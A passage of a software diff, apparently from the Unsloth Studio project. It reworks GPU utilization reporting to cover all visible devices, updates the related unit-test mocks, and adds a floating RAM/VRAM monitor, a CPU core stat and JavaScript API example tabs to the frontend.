+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.XPU),
+            patch(
+                "utils.hardware.hardware.get_visible_gpu_utilization",
+                return_value = {
+                    "available": True,
+                    "backend": "xpu",
+                    "parent_visible_gpu_ids": [2, 0],
+                    "index_kind": "physical",
+                    "devices": [
+                        {
+                            "index": 2,
+                            "visible_ordinal": 1,
+                            "gpu_utilization_pct": None,
+                            "temperature_c": None,
+                            "vram_used_gb": 3.0,
+                            "vram_total_gb": 16.0,
+                            "vram_utilization_pct": 18.8,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        },
+                        {
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": None,
+                            "temperature_c": None,
+                            "vram_used_gb": 1.0,
+                            "vram_total_gb": 16.0,
+                            "vram_utilization_pct": 6.3,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        },
+                    ],
+                },
+            ),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertEqual(result["backend"], "xpu")
+        self.assertEqual(result["index"], 0)
+        self.assertEqual(result["visible_ordinal"], 0)
+        self.assertEqual([device["index"] for device in result["devices"]], [0, 2])
+
     def test_visible_gpu_utilization_filters_to_parent_visible_ids(self):
         smi_output = "\n".join(
             [
@@ -272,6 +426,14 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
     def test_get_offloaded_device_map_entries_handles_models_without_device_map(self):
         self.assertEqual(get_offloaded_device_map_entries(SimpleNamespace()), {})
 
+    @patch(
+        "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate",
+        new = lambda model_name, **_: model_name,
+    )
+    @patch(
+        "utils.hardware.hardware._load_config_for_gpu_estimate",
+        new = lambda *_args, **_kwargs: None,
+    )
     def test_estimate_required_memory_formulas(self):
         eight_gb = 8 * (1024**3)
 
@@ -432,6 +594,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
 
     def test_prepare_gpu_selection_preserves_explicit_ids_without_auto_selection(self):
         with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "utils.hardware.hardware.resolve_requested_gpu_ids",
                 return_value = [2, 3],
@@ -464,6 +627,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
     def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self):
         with (
             patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "utils.hardware.hardware.estimate_required_model_memory_gb",
                 return_value = (
@@ -582,6 +746,7 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase):
 
         with (
             patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "core.training.training._CTX.Queue",
                 side_effect = [dummy_queue, dummy_queue],
@@ -709,14 +874,23 @@ class TestRouteErrors(unittest.TestCase):
             has_audio_input = False,
         )
 
-        with patch.object(
-            inference_route.ModelConfig,
-            "from_identifier",
-            return_value = model_config,
+        with (
+            patch.object(
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
+            ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -835,9 +1009,9 @@ class TestRouteErrors(unittest.TestCase):
 
         with (
             patch.object(
-                inference_route.ModelConfig,
-                "from_identifier",
-                return_value = model_config,
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
             ),
             patch.object(
                 inference_route,
@@ -849,6 +1023,13 @@ class TestRouteErrors(unittest.TestCase):
                 "get_llama_cpp_backend",
                 return_value = SimpleNamespace(is_loaded = False),
             ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
             patch(
                 "core.export.get_export_backend",
                 return_value = SimpleNamespace(current_checkpoint = None),
@@ -856,7 +1037,7 @@ class TestRouteErrors(unittest.TestCase):
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -899,9 +1080,9 @@ class TestRouteErrors(unittest.TestCase):
 
         with (
             patch.object(
-                inference_route.ModelConfig,
-                "from_identifier",
-                return_value = model_config,
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
             ),
             patch.object(
                 inference_route,
@@ -913,6 +1094,13 @@ class TestRouteErrors(unittest.TestCase):
                 "get_llama_cpp_backend",
                 return_value = SimpleNamespace(is_loaded = False),
             ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
             patch(
                 "core.export.get_export_backend",
                 return_value = SimpleNamespace(current_checkpoint = None),
@@ -920,7 +1108,7 @@ class TestRouteErrors(unittest.TestCase):
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -1102,10 +1290,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
             cfg._attn_implementation = "eager"
             return "eager"
 
-        with patch(
-            "unsloth.models._utils.resolve_attention_implementation",
-            side_effect = _stub_resolver,
-        ):
+        with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
             hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
         self.assertFalse(hasattr(config, "_attn_implementation"))
@@ -1133,10 +1318,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
         with (
             patch.object(AutoModelForCausalLM, "_model_mapping", new = None),
             patch.object(AutoModel, "_model_mapping", new = None),
-            patch(
-                "unsloth.models._utils.resolve_attention_implementation",
-                side_effect = _stub_resolver,
-            ),
+            patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)),
         ):
             result = hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
@@ -1173,10 +1355,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
                 inner._attn_implementation = "eager"
             return "eager"
 
-        with patch(
-            "unsloth.models._utils.resolve_attention_implementation",
-            side_effect = _stub_resolver,
-        ):
+        with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
             hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
         self.assertFalse(hasattr(config, "_attn_implementation"))
diff --git a/studio/backend/utils/hardware/hardware.py b/studio/backend/utils/hardware/hardware.py
index 88a1784b88..cde7070075 100644
--- a/studio/backend/utils/hardware/hardware.py
+++ b/studio/backend/utils/hardware/hardware.py
@@ -710,82 +710,159 @@ def _rocm_windows_perf_counter_vram_gb() -> tuple[Optional[float], Optional[floa
         return None, None
 
 
+def _gpu_utilization_payload(
+    device: DeviceType, devices: list[Dict[str, Any]], **metadata: Any
+) -> Dict[str, Any]:
+    """Keep the legacy primary-GPU shape and append all visible devices."""
+    backend = _backend_label(device)
+    normalized = []
+    for ordinal, raw in enumerate(devices):
+        dev = dict(raw)
+        dev.setdefault("available", True)
+        dev.setdefault("backend", backend)
+        if dev.get("visible_ordinal") is None:
+            dev["visible_ordinal"] = ordinal
+        normalized.append(dev)
+
+    normalized.sort(key = lambda dev: dev.get("visible_ordinal", dev.get("index", 0)))
+    payload: Dict[str, Any] = {
+        "available": bool(normalized),
+        "backend": backend,
+        "devices": normalized,
+    }
+    payload.update(metadata)
+    if normalized:
+        payload.update(normalized[0])
+        payload["available"] = True
+        payload["backend"] = normalized[0].get("backend", backend)
+        payload["devices"] = normalized
+    return payload
+
+
 def get_gpu_utilization() -> Dict[str, Any]:
-    """Return a live snapshot of device utilization information."""
+    """Live utilization snapshot for the primary GPU plus all visible GPUs."""
     device = get_device()
 
+    if device == DeviceType.XPU:
+        result = get_visible_gpu_utilization()
+        return _gpu_utilization_payload(
+            device,
+            result.get("devices", []),
+            parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
+            index_kind = result.get("index_kind"),
+        )
+
     if device == DeviceType.CUDA:
-        result = _smi_query("get_primary_gpu_utilization")
-        if result is not None:
-            result["backend"] = _backend_label(device)
-            if IS_ROCM:
-                # Fix unified-memory VRAM on AMD iGPUs (Strix Halo etc.).
-                _reconcile_primary_rocm_unified_memory(result, _get_parent_visible_gpu_spec())
-            return result
-        # SMI unavailable. On Windows, use Performance Counters (Task Manager
-        # source) for system-wide VRAM, covering cross-process usage torch can't see.
+        parent_visible_spec = _get_parent_visible_gpu_spec()
+        result = _smi_query(
+            "get_visible_gpu_utilization",
+            parent_visible_spec["numeric_ids"],
+            parent_cuda_visible_devices = parent_visible_spec["raw"],
+        )
+        if result is not None and "devices" in result:
+            devices = result["devices"]
+            numeric_ids = parent_visible_spec.get("numeric_ids")
+            if IS_ROCM and numeric_ids is not None:
+                _reconcile_rocm_unified_memory(result, numeric_ids)
+
+            return _gpu_utilization_payload(
+                device,
+                devices,
+                backend_cuda_visible_devices = result.get("backend_cuda_visible_devices"),
+                parent_visible_gpu_ids = result.get("parent_visible_gpu_ids", []),
+                index_kind = result.get("index_kind"),
+            )
+
+        # Fallback Windows ROCm
         if IS_ROCM and platform.system() == "Windows":
             _win_used, _win_total = _rocm_windows_perf_counter_vram_gb()
             if _win_used is not None and _win_total is not None:
                 _win_util = _rocm_windows_perf_counter_gpu_util_pct()
-                return {
-                    "available": True,
-                    "backend": _backend_label(device),
-                    "gpu_utilization_pct": _win_util,
-                    "temperature_c": None,
-                    "vram_used_gb": _win_used,
-                    "vram_total_gb": _win_total,
-                    "vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
-                    if _win_total > 0
-                    else None,
-                    "power_draw_w": None,
-                    "power_limit_w": None,
-                    "power_utilization_pct": None,
-                }
-        # Linux: DRM sysfs gives system-wide VRAM across all processes, no tools needed.
+                return _gpu_utilization_payload(
+                    device,
+                    [
+                        {
+                            "available": True,
+                            "backend": _backend_label(device),
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": _win_util,
+                            "temperature_c": None,
+                            "vram_used_gb": _win_used,
+                            "vram_total_gb": _win_total,
+                            "vram_utilization_pct": round((_win_used / _win_total) * 100, 1)
+                            if _win_total > 0
+                            else None,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        }
+                    ],
+                )
+
+        # Fallback Linux ROCm
         if IS_ROCM and platform.system() == "Linux":
             _linux_used, _linux_total = _rocm_linux_sysfs_vram_gb()
             if _linux_used is not None and _linux_total is not None:
                 _linux_util = _rocm_linux_sysfs_gpu_busy_pct()
                 _linux_temp = _rocm_linux_sysfs_temp_c()
                 _linux_power = _rocm_linux_sysfs_power_w()
-                return {
-                    "available": True,
-                    "backend": _backend_label(device),
-                    "gpu_utilization_pct": _linux_util,
-                    "temperature_c": _linux_temp,
-                    "vram_used_gb": _linux_used,
-                    "vram_total_gb": _linux_total,
-                    "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
-                    if _linux_total > 0
-                    else None,
-                    "power_draw_w": _linux_power,
-                    "power_limit_w": None,
-                    "power_utilization_pct": None,
-                }
-        # Last resort: torch mem_get_info (process-local).
-        _visible_spec = _get_parent_visible_gpu_spec()
-        _numeric_ids = _visible_spec.get("numeric_ids") or [0]
-        _primary_idx = [_numeric_ids[0]] if _numeric_ids else [0]
-        _torch_devices = _torch_get_per_device_info(_primary_idx)
-        if _torch_devices:
-            _td = _torch_devices[0]
-            _total = _td["total_gb"]
-            _used = _td["used_gb"]
-            return {
-                "available": True,
-                "backend": _backend_label(device),
-                "gpu_utilization_pct": None,
-                "temperature_c": None,
-                "vram_used_gb": _used,
-                "vram_total_gb": _total,
-                "vram_utilization_pct": round((_used / _total) * 100, 1) if _total > 0 else None,
-                "power_draw_w": None,
-                "power_limit_w": None,
-                "power_utilization_pct": None,
-            }
+                return _gpu_utilization_payload(
+                    device,
+                    [
+                        {
+                            "available": True,
+                            "backend": _backend_label(device),
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": _linux_util,
+                            "temperature_c": _linux_temp,
+                            "vram_used_gb": _linux_used,
+                            "vram_total_gb": _linux_total,
+                            "vram_utilization_pct": round((_linux_used / _linux_total) * 100, 1)
+                            if _linux_total > 0
+                            else None,
+                            "power_draw_w": _linux_power,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        }
+                    ],
+                )
 
-    # MLX: _read_apple_gpu_stats() carries both VRAM-used and GPU util%.
+        # Last resort: torch mem_get_info (process-local) for all visible GPUs
+        _visible_spec = _get_parent_visible_gpu_spec()
+        _numeric_ids = _visible_spec.get("numeric_ids") or []
+        if not _numeric_ids:
+            visible_count = _torch_get_physical_gpu_count() or 0
+            _numeric_ids = list(range(visible_count))
+
+        _torch_devices = _torch_get_per_device_info(_numeric_ids)
+        if _torch_devices:
+            gpu_array = []
+            for _td in _torch_devices:
+                _total = _td["total_gb"]
+                _used = _td["used_gb"]
+                gpu_array.append(
+                    {
+                        "available": True,
+                        "backend": _backend_label(device),
+                        "index": _td["index"],
+                        "name": _td.get("name", "Unknown"),
+                        "gpu_utilization_pct": None,
+                        "temperature_c": None,
+                        "vram_used_gb": _used,
+                        "vram_total_gb": _total,
+                        "vram_utilization_pct": round((_used / _total) * 100, 1)
+                        if _total > 0
+                        else None,
+                        "power_draw_w": None,
+                        "power_limit_w": None,
+                        "power_utilization_pct": None,
+                    }
+                )
+            return _gpu_utilization_payload(device, gpu_array)
+
+    # MLX
     if device == DeviceType.MLX:
         try:
             import psutil
@@ -793,9 +870,8 @@ def get_gpu_utilization() -> Dict[str, Any]:
             total_bytes = psutil.virtual_memory().total
         except Exception as e:
             logger.error(f"Error getting MLX GPU utilization: {e}")
-            return {"available": False, "backend": device.value, "error": str(e)}
-        if not agx:
-            return {"available": False, "backend": device.value}
+            return {"available": False, "backend": device.value, "devices": [], "error": str(e)}
+
         allocated_bytes = agx.get("vram_used_bytes", 0) or 0
         vram_used_gb = allocated_bytes / (1024**3)
         total_gb = total_bytes / (1024**3)
@@ -814,37 +890,51 @@ def get_gpu_utilization() -> Dict[str, Any]:
 
         from . import apple
 
-        return {
-            "available": True,
-            "backend": device.value,
-            "gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
-            "temperature_c": apple.read_gpu_temperature_c(),
-            "vram_used_gb": round(vram_used_gb, 2),
-            "vram_total_gb": round(total_gb, 2),
-            "vram_utilization_pct": (
-                round((vram_used_gb / total_gb) * 100, 1) if total_gb > 0 else None
-            ),
-            "power_draw_w": apple.read_gpu_power_w(),
-            "power_limit_w": None,
-            "power_utilization_pct": None,
-        }
+        return _gpu_utilization_payload(
+            device,
+            [
+                {
+                    "available": True,
+                    "backend": device.value,
+                    "index": 0,
+                    "visible_ordinal": 0,
+                    "gpu_utilization_pct": agx.get("utilization_pct") if agx else None,
+                    "temperature_c": apple.read_gpu_temperature_c(),
+                    "vram_used_gb": round(vram_used_gb, 2),
+                    "vram_total_gb": round(total_gb, 2),
+                    "vram_utilization_pct": round((vram_used_gb / total_gb) * 100, 1)
+                    if total_gb > 0
+                    else None,
+                    "power_draw_w": apple.read_gpu_power_w(),
+                    "power_limit_w": None,
+                    "power_utilization_pct": None,
+                }
+            ],
+        )
 
     mem = get_gpu_memory_info()
     if device != DeviceType.CPU and mem.get("available"):
-        return {
-            "available": True,
-            "backend": _backend_label(device),
-            "gpu_utilization_pct": None,
-            "temperature_c": None,
-            "vram_used_gb": round(mem.get("allocated_gb", 0), 2),
-            "vram_total_gb": round(mem.get("total_gb", 0), 2),
-            "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
-            "power_draw_w": None,
-            "power_limit_w": None,
-            "power_utilization_pct": None,
-        }
+        return _gpu_utilization_payload(
+            device,
+            [
+                {
+                    "available": True,
+                    "backend": _backend_label(device),
+                    "index": mem.get("device", 0),
+                    "visible_ordinal": 0,
+                    "gpu_utilization_pct": None,
+                    "temperature_c": None,
+                    "vram_used_gb": round(mem.get("allocated_gb", 0), 2),
+                    "vram_total_gb": round(mem.get("total_gb", 0), 2),
+                    "vram_utilization_pct": round(mem.get("utilization_pct", 0), 1),
+                    "power_draw_w": None,
+                    "power_limit_w": None,
+                    "power_utilization_pct": None,
+                }
+            ],
+        )
 
-    return {"available": False, "backend": _backend_label(device)}
+    return {"available": False, "backend": _backend_label(device), "devices": []}
 
 
 def _apply_unified_memory_correction(
diff --git a/studio/frontend/src/components/floating-monitor.tsx b/studio/frontend/src/components/floating-monitor.tsx
new file mode 100644
index 0000000000..f02da6612e
--- /dev/null
+++ b/studio/frontend/src/components/floating-monitor.tsx
@@ -0,0 +1,160 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Progress } from "@/components/ui/progress";
+import { useMonitorOverlayStore } from "@/features/settings/stores/monitor-overlay-store";
+import { useSystemInfo } from "@/hooks/use-system";
+import { useT } from "@/i18n";
+import { cn } from "@/lib/utils";
+import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react";
+import { motion } from "motion/react";
+import { useRef } from "react";
+
+function clampPercent(value: number): number {
+  return Math.max(0, Math.min(100, value));
+}
+
+function usageIndicatorClass(percent: number): string {
+  if (percent >= 90) return "bg-destructive";
+  if (percent >= 70) return "bg-amber-500";
+  return "bg-primary";
+}
+
+function usageTextClass(percent: number): string {
+  if (percent >= 90) return "text-destructive";
+  if (percent >= 70) return "text-amber-600 dark:text-amber-400";
+  return "text-primary";
+}
+
+function formatGb(value: number): string {
+  const digits = value >= 10 ? 1 : 2;
+  return `${value.toFixed(digits)} GB`;
+}
+
+export function FloatingMonitor() {
+  const t = useT();
+  const { isOpen, setIsOpen } = useMonitorOverlayStore();
+  const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 });
+
+  const constraintsRef = useRef<HTMLDivElement>(null);
+
+  if (!isOpen) return null;
+
+  const ramTotal = systemInfo.memory?.total_gb ?? 0;
+  const ramAvailable = systemInfo.memory?.available_gb ?? 0;
+  const ramUsed = Math.max(0, ramTotal - ramAvailable);
+  const ramPercent = clampPercent(systemInfo.memory?.percent_used ?? 0);
+
+  const devices = systemInfo.gpu?.devices ?? [];
+  const vramTotal = devices.reduce(
+    (sum, device) => sum + (device.memory_total_gb ?? 0),
+    0,
+  );
+  const vramUsed = devices.reduce(
+    (sum, device) => sum + (device.vram_used_gb ?? 0),
+    0,
+  );
+  const vramPercent = clampPercent(
+    vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0,
+  );
+
+  const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0;
+
+  return (
+    <div
+      ref={constraintsRef}
+      className="fixed inset-0 z-50 pointer-events-none"
+    >
+      <motion.div
+        layout={true}
+        drag={true}
+        dragConstraints={constraintsRef}
+        dragElastic={0.1}
+        dragMomentum={false}
+        initial={{ opacity: 0, scale: 0.9 }}
+        animate={{ opacity: 1, scale: 1 }}
+        exit={{ opacity: 0, scale: 0.9 }}
+        className="settings-surface fixed bottom-4 right-4 w-64 max-w-[calc(100vw-2rem)] resize overflow-hidden rounded-xl border border-border/70 p-3 shadow-border ring-0 backdrop-blur-sm pointer-events-auto cursor-default select-none"
+      >
+        <div className="mb-2 flex items-center justify-between gap-2 border-b border-border/60 pb-2">
+          <div className="flex min-w-0 flex-1 items-center gap-1.5 truncate text-xs font-semibold text-foreground">
+            <CpuIcon className="size-3.5 shrink-0 text-primary" />
+            <span className="truncate">
+              {t("settings.resources.liveMonitor.title")}
+            </span>
+          </div>
+          <div className="flex items-center gap-1 shrink-0">
+            <div className="cursor-grab rounded-md px-1 text-muted-foreground/60 transition-colors hover:bg-muted/60 hover:text-muted-foreground active:cursor-grabbing">
+              <GripVerticalIcon className="size-3.5" />
+            </div>
+
+            <Button
+              size="icon-xs"
+              variant="ghost"
+              className="text-muted-foreground hover:text-foreground"
+              onClick={() => setIsOpen(false)}
+              title={t("common.close")}
+              aria-label={t("common.close")}
+            >
+              <XIcon className="size-3" />
+            </Button>
+          </div>
+        </div>
+
+        <motion.div
+          initial={{ opacity: 0, height: 0 }}
+          animate={{ opacity: 1, height: "auto" }}
+          exit={{ opacity: 0, height: 0 }}
+          className="space-y-3 overflow-hidden"
+        >
+          <div className="space-y-1">
+            <div className="flex justify-between text-[11px] font-medium font-mono">
+              <span>{t("settings.resources.liveMonitor.ram")}</span>
+              <span className={cn("tabular-nums", usageTextClass(ramPercent))}>
+                {Math.round(ramPercent)}%
+              </span>
+            </div>
+            <div className="text-xs text-muted-foreground font-mono tabular-nums">
+              {formatGb(ramUsed)} / {formatGb(ramTotal)}
+            </div>
+            <Progress
+              value={ramPercent}
+              className="mt-1 h-1.5 rounded-full bg-muted"
+              indicatorClassName={usageIndicatorClass(ramPercent)}
+            />
+          </div>
+
+          {hasGpu && (
+            <div className="space-y-1">
+              <div className="flex justify-between text-[11px] font-medium font-mono">
+                <span className="truncate flex-1 pr-2">
+                  {t("settings.resources.liveMonitor.vram")}{" "}
+                  {devices.length > 1
+                    ? `(${devices.length} GPUs)`
+                    : `(${devices[0].name ?? "GPU"})`}
+                </span>
+                <span
+                  className={cn(
+                    "shrink-0 tabular-nums",
+                    usageTextClass(vramPercent),
+                  )}
+                >
+                  {Math.round(vramPercent)}%
+                </span>
+              </div>
+              <div className="text-xs text-muted-foreground font-mono tabular-nums">
+                {formatGb(vramUsed)} / {formatGb(vramTotal)}
+              </div>
+              <Progress
+                value={vramPercent}
+                className="mt-1 h-1.5 rounded-full bg-muted"
+                indicatorClassName={usageIndicatorClass(vramPercent)}
+              />
+            </div>
+          )}
+        </motion.div>
+      </motion.div>
+    </div>
+  );
+}
diff --git a/studio/frontend/src/features/hub/catalog/models-header.tsx b/studio/frontend/src/features/hub/catalog/models-header.tsx
index f5afce5c59..10d5a80e5e 100644
--- a/studio/frontend/src/features/hub/catalog/models-header.tsx
+++ b/studio/frontend/src/features/hub/catalog/models-header.tsx
@@ -15,6 +15,7 @@ import {
   PackageIcon,
   RamMemoryIcon,
   RemoveCircleIcon,
+  CpuIcon
 } from "@hugeicons/core-free-icons";
 import type { IconSvgElement } from "@hugeicons/react";
 import { HugeiconsIcon } from "@hugeicons/react";
@@ -43,6 +44,7 @@ export function ModelsHeader({
   isDataset,
   gpuLabel,
   ramLabel,
+  coreLabel,
   activeCheckpoint,
   activeGgufVariant,
   onTitleClick,
@@ -53,6 +55,7 @@ export function ModelsHeader({
   isDataset: boolean;
   gpuLabel: string;
   ramLabel: string;
+  coreLabel: string;
   activeCheckpoint: string | null;
   activeGgufVariant: string | null;
   onTitleClick: () => void;
@@ -84,7 +87,8 @@ export function ModelsHeader({
           value={String(localCount)}
         />
         <StatPill icon={ChipIcon} label="VRAM" value={gpuLabel} />
-        <StatPill icon={RamMemoryIcon} label="CPU RAM" value={ramLabel} />
+        <StatPill icon={RamMemoryIcon} label="RAM" value={ramLabel} />
+        <StatPill icon={CpuIcon} label="CPU" value={coreLabel} />
 
         {activeCheckpoint && (
           <div className="hub-tag-soft ml-1 inline-flex items-center gap-1.5 px-2 py-1 text-[11.5px]">
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx
index 56aa07335d..c3920e18f6 100644
--- a/studio/frontend/src/features/hub/hub-page.tsx
+++ b/studio/frontend/src/features/hub/hub-page.tsx
@@ -1085,11 +1085,15 @@ export function ModelsPage() {
   const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu);
 
   const gpuLabel = gpu.available
-    ? `${Math.floor(gpu.memoryTotalGb)} GB`
+    ? `${Math.round(gpu.memoryTotalGb)} GB`
     : "Unavailable";
   const ramLabel =
-    gpu.systemRamAvailableGb > 0
-      ? `${Math.floor(gpu.systemRamAvailableGb)} GB`
+    gpu.systemRamTotalGb > 0
+      ? `${Math.round(gpu.systemRamTotalGb)} GB`
+      : "Unavailable";
+  const coreLabel =
+    gpu.cpuCore > 0 && gpu.cpuThread > 0
+      ? `${gpu.cpuCore}/${gpu.cpuThread}`
       : "Unavailable";
 
   const openNewChat = useCallback(() => {
@@ -1453,6 +1457,7 @@ export function ModelsPage() {
           isDataset={isDatasetMode}
           gpuLabel={gpuLabel}
           ramLabel={ramLabel}
+          coreLabel={coreLabel}
           activeCheckpoint={activeCheckpoint}
           activeGgufVariant={activeGgufVariant}
           onTitleClick={handleResetToDiscover}
diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx
index aef2e7ffe6..d66ca6105d 100644
--- a/studio/frontend/src/features/settings/components/usage-examples.tsx
+++ b/studio/frontend/src/features/settings/components/usage-examples.tsx
@@ -33,44 +33,58 @@ import {
   updateOpenAIAutoSwitchSettings,
 } from "../api/openai-auto-switch";
 
-// API call type; OS axis applies to curl only (Python is OS-identical).
 type ExampleType =
   | "curl"
   | "python"
+  | "javascript"
   | "curlTools"
   | "pythonTools"
+  | "javascriptTools"
   | "curlAdvanced"
-  | "pythonAdvanced";
+  | "pythonAdvanced"
+  | "javascriptAdvanced";
 type Os = "unix" | "windows";
-// plain = bare call; tools = server-side tools; advanced = sampling + thinking + tools.
 type Variant = "plain" | "tools" | "advanced";
 
 const TYPE_TABS: { id: ExampleType; label: string }[] = [
   { id: "curl", label: "curl" },
   { id: "python", label: "Python" },
+  { id: "javascript", label: "JavaScript" },
   { id: "curlTools", label: "curl + tools" },
   { id: "pythonTools", label: "Python + tools" },
+  { id: "javascriptTools", label: "JavaScript + tools" },
   { id: "curlAdvanced", label: "curl + advanced" },
   { id: "pythonAdvanced", label: "Python + advanced" },
+  { id: "javascriptAdvanced", label: "JavaScript + advanced" },
 ];
 
 const TYPE_LABEL_KEY: Partial<Record<ExampleType, TranslationKey>> = {
   curlTools: "settings.apiKeys.exampleCurlTools",
   pythonTools: "settings.apiKeys.examplePythonTools",
+  javascriptTools: "settings.apiKeys.exampleJavaScriptTools",
   curlAdvanced: "settings.apiKeys.exampleCurlAdvanced",
   pythonAdvanced: "settings.apiKeys.examplePythonAdvanced",
+  javascriptAdvanced: "settings.apiKeys.exampleJavaScriptAdvanced",
 };
 
 const OS_AWARE: Record<ExampleType, boolean> = {
   curl: true,
   python: false,
+  javascript: false,
   curlTools: true,
   pythonTools: false,
+  javascriptTools: false,
   curlAdvanced: true,
   pythonAdvanced: false,
+  javascriptAdvanced: false,
 };
 
 const CURL_TYPES = new Set<ExampleType>(["curl", "curlTools", "curlAdvanced"]);
+const JAVASCRIPT_TYPES = new Set<ExampleType>([
+  "javascript",
+  "javascriptTools",
+  "javascriptAdvanced",
+]);
 
 const PROMPT = "Can Unsloth Studio do API calling?";
 // Auto-switch demo: a second call naming a different downloaded GGUF so the
@@ -82,7 +96,6 @@ const SWITCH_MODEL = "your-other-downloaded-GGUF";
 const SWITCH_PROMPT = "Now answer as a different model.";
 // web_search + python + terminal are the reliable built-in tools.
 const TOOLS = ["web_search", "python", "terminal"];
-// Sampling/thinking knobs for the "+ advanced" examples.
 const ADV = {
   temperature: 0.7,
   top_p: 0.8,
@@ -93,37 +106,18 @@ const ADV = {
 } as const;
 
 const DOC_LINKS = [
-  {
-    label: "Claude Code",
-    href: "https://unsloth.ai/docs/basics/claude-code",
-  },
-  {
-    label: "Codex",
-    href: "https://unsloth.ai/docs/basics/codex",
-  },
-  {
-    label: "OpenClaw",
-    href: "https://unsloth.ai/docs/integrations/openclaw",
-  },
-  {
-    label: "OpenCode",
-    href: "https://unsloth.ai/docs/integrations/opencode",
-  },
-  {
-    label: "Hermes Agent",
-    href: "https://unsloth.ai/docs/integrations/hermes-agent",
-  },
+  { label: "Claude Code", href: "https://unsloth.ai/docs/basics/claude-code" },
+  { label: "Codex", href: "https://unsloth.ai/docs/basics/codex" },
+  { label: "OpenClaw", href: "https://unsloth.ai/docs/integrations/openclaw" },
+  { label: "OpenCode", href: "https://unsloth.ai/docs/integrations/opencode" },
+  { label: "Hermes Agent", href: "https://unsloth.ai/docs/integrations/hermes-agent" },
 ];
 
-// JSON-encode; also a valid Python literal, so odd model names never break output.
 const j = (s: string): string => JSON.stringify(s);
-// Embed in a POSIX single-quoted string: close, escaped quote, reopen.
 const shSingle = (s: string): string => s.replace(/'/g, "'\\''");
-// Embed in a PowerShell single-quoted string: '' is a literal quote.
 const psSingle = (s: string): string => s.replace(/'/g, "''");
 const toolsJson = TOOLS.map(j).join(", ");
 
-// Shared body fields (after model/messages, before stream) per variant.
 function bodyExtraLines(variant: Variant, indent: string): string[] {
   const lines: string[] = [];
   if (variant === "advanced") {
@@ -152,7 +146,6 @@ function curlBodyPretty(model: string, variant: Variant): string {
   return `{\n${lines.join("\n")}\n  }`;
 }
 
